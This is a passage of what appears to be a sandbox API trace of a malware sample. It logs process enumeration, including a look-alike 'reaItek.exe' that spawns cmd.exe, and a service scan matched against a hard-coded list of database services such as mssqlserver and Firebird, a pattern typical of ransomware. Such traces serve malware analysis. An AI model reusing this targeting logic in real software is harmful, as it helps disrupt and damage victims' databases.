lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0094.673] lstrlenW (lpString="emission.exe") returned 12 [0094.674] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0094.674] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0094.674] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0094.675] lstrlenW (lpString="charter.exe") returned 11 [0094.675] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0094.676] lstrlenW (lpString="nickel.exe") returned 10 [0094.676] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0094.677] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0094.677] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0094.678] lstrlenW (lpString="wrist.exe") returned 9 [0094.678] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0094.679] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0094.679] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0094.680] lstrlenW (lpString="neck.exe") returned 8 [0094.680] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0094.681] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0094.681] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0094.681] lstrlenW (lpString="dllhost.exe") returned 11 [0094.681] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0094.682] lstrlenW (lpString="taskhostw.exe") returned 13 [0094.682] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.684] lstrlenW (lpString="svchost.exe") returned 11 [0094.684] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.684] lstrlenW (lpString="svchost.exe") returned 11 [0094.684] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0094.685] lstrlenW (lpString="reaItek.exe") returned 11 [0094.685] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0094.686] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0094.686] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0094.687] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0094.687] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0094.687] lstrlenW (lpString="conhost.exe") returned 11 [0094.687] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0094.688] lstrlenW (lpString="cmd.exe") returned 7 [0094.688] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0094.689] CloseHandle (hObject=0x278) returned 1 [0094.689] Sleep (dwMilliseconds=0x1f4) [0096.502] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5febb0 [0096.502] EnumServicesStatusExW (in: hSCManager=0x5febb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0096.503] GetLastError () returned 0xea [0096.503] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fd0) returned 0x61fb98 [0096.503] EnumServicesStatusExW (in: hSCManager=0x5febb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61fb98, cbBufSize=0x1fd0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61fb98, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0096.504] CloseServiceHandle (hSCObject=0x5febb0) returned 1 [0096.504] lstrlenW (lpString="Appinfo") returned 7 [0096.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0096.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0096.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0096.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0096.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0096.504] lstrlenW (lpString="AppXSvc") returned 7 [0096.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0096.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0096.504] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0096.504] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0096.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0096.504] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0096.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0096.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0096.504] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0096.504] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0096.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0096.505] lstrlenW (lpString="Audiosrv") returned 8 [0096.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0096.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0096.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0096.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0096.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0096.505] lstrlenW (lpString="BFE") returned 3 [0096.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0096.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0096.505] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0096.505] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0096.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0096.505] lstrlenW (lpString="BITS") returned 4 [0096.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0096.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0096.505] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0096.505] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0096.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0096.505] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0096.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0096.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0096.505] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0096.505] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0096.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0096.505] lstrlenW (lpString="CDPSvc") returned 6 [0096.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0096.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0096.506] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0096.506] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0096.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0096.506] lstrlenW (lpString="ClickToRunSvc") returned 13 [0096.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0096.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0096.506] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0096.506] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0096.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0096.506] lstrlenW (lpString="ClipSVC") returned 7 [0096.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0096.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0096.506] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0096.506] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0096.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0096.506] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0096.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0096.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0096.506] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0096.506] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0096.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0096.506] lstrlenW (lpString="CryptSvc") returned 8 [0096.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0096.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0096.506] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0096.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0096.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0096.507] lstrlenW (lpString="DcomLaunch") returned 10 [0096.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0096.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0096.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0096.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0096.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0096.507] lstrlenW (lpString="DeviceAssociationService") returned 24 [0096.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0096.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0096.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0096.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0096.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0096.507] lstrlenW (lpString="Dhcp") returned 4 [0096.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0096.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0096.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0096.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0096.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0096.507] lstrlenW (lpString="Dnscache") returned 8 [0096.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0096.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0096.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0096.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0096.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0096.508] lstrlenW (lpString="DoSvc") returned 5 [0096.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0096.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0096.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0096.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0096.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0096.508] lstrlenW (lpString="DPS") returned 3 [0096.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0096.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0096.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0096.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0096.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0096.508] lstrlenW (lpString="DusmSvc") returned 7 [0096.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0096.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0096.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0096.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0096.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0096.508] lstrlenW (lpString="EventLog") returned 8 [0096.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0096.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0096.508] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0096.508] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0096.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0096.508] lstrlenW (lpString="EventSystem") returned 11 [0096.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0096.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0096.509] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0096.509] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0096.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0096.630] lstrlenW (lpString="FontCache") returned 9 [0096.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0096.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0096.630] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0096.630] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0096.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0096.630] lstrlenW (lpString="gpsvc") returned 5 [0096.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0096.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0096.630] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0096.630] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0096.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0096.630] lstrlenW (lpString="iphlpsvc") returned 8 [0096.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0096.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0096.630] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0096.630] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0096.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0096.630] lstrlenW (lpString="KeyIso") returned 6 [0096.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0096.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0096.630] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0096.630] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0096.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0096.630] lstrlenW (lpString="LanmanServer") returned 12 [0096.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0096.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0096.630] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0096.630] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0096.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0096.630] lstrlenW (lpString="LanmanWorkstation") returned 17 [0096.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0096.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0096.631] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0096.631] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0096.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0096.631] lstrlenW (lpString="lfsvc") returned 5 [0096.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0096.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0096.631] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0096.631] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0096.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0096.631] lstrlenW (lpString="LicenseManager") returned 14 [0096.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0096.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0096.631] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0096.631] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0096.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0096.631] lstrlenW (lpString="lmhosts") returned 7 [0096.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0096.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0096.631] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0096.631] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0096.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0096.631] lstrlenW (lpString="LSM") returned 3 [0096.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0096.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0096.631] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0096.631] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0096.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0096.631] lstrlenW (lpString="MapsBroker") returned 10 [0096.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0096.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0096.631] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0096.631] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0096.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0096.632] lstrlenW (lpString="MpsSvc") returned 6 [0096.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0096.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0096.632] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0096.632] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0096.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0096.632] lstrlenW (lpString="NcbService") returned 10 [0096.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0096.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0096.632] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0096.632] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0096.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0096.632] lstrlenW (lpString="netprofm") returned 8 [0096.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0096.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0096.632] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0096.632] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0096.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0096.632] lstrlenW (lpString="NlaSvc") returned 6 [0096.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0096.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0096.632] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0096.632] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0096.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0096.632] lstrlenW (lpString="nsi") returned 3 [0096.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0096.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0096.632] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0096.632] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0096.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0096.632] lstrlenW (lpString="PcaSvc") returned 6 [0096.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0096.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0096.633] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0096.633] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0096.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0096.633] lstrlenW (lpString="PlugPlay") returned 8 [0096.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0096.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0096.633] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0096.633] lstrcmpiW 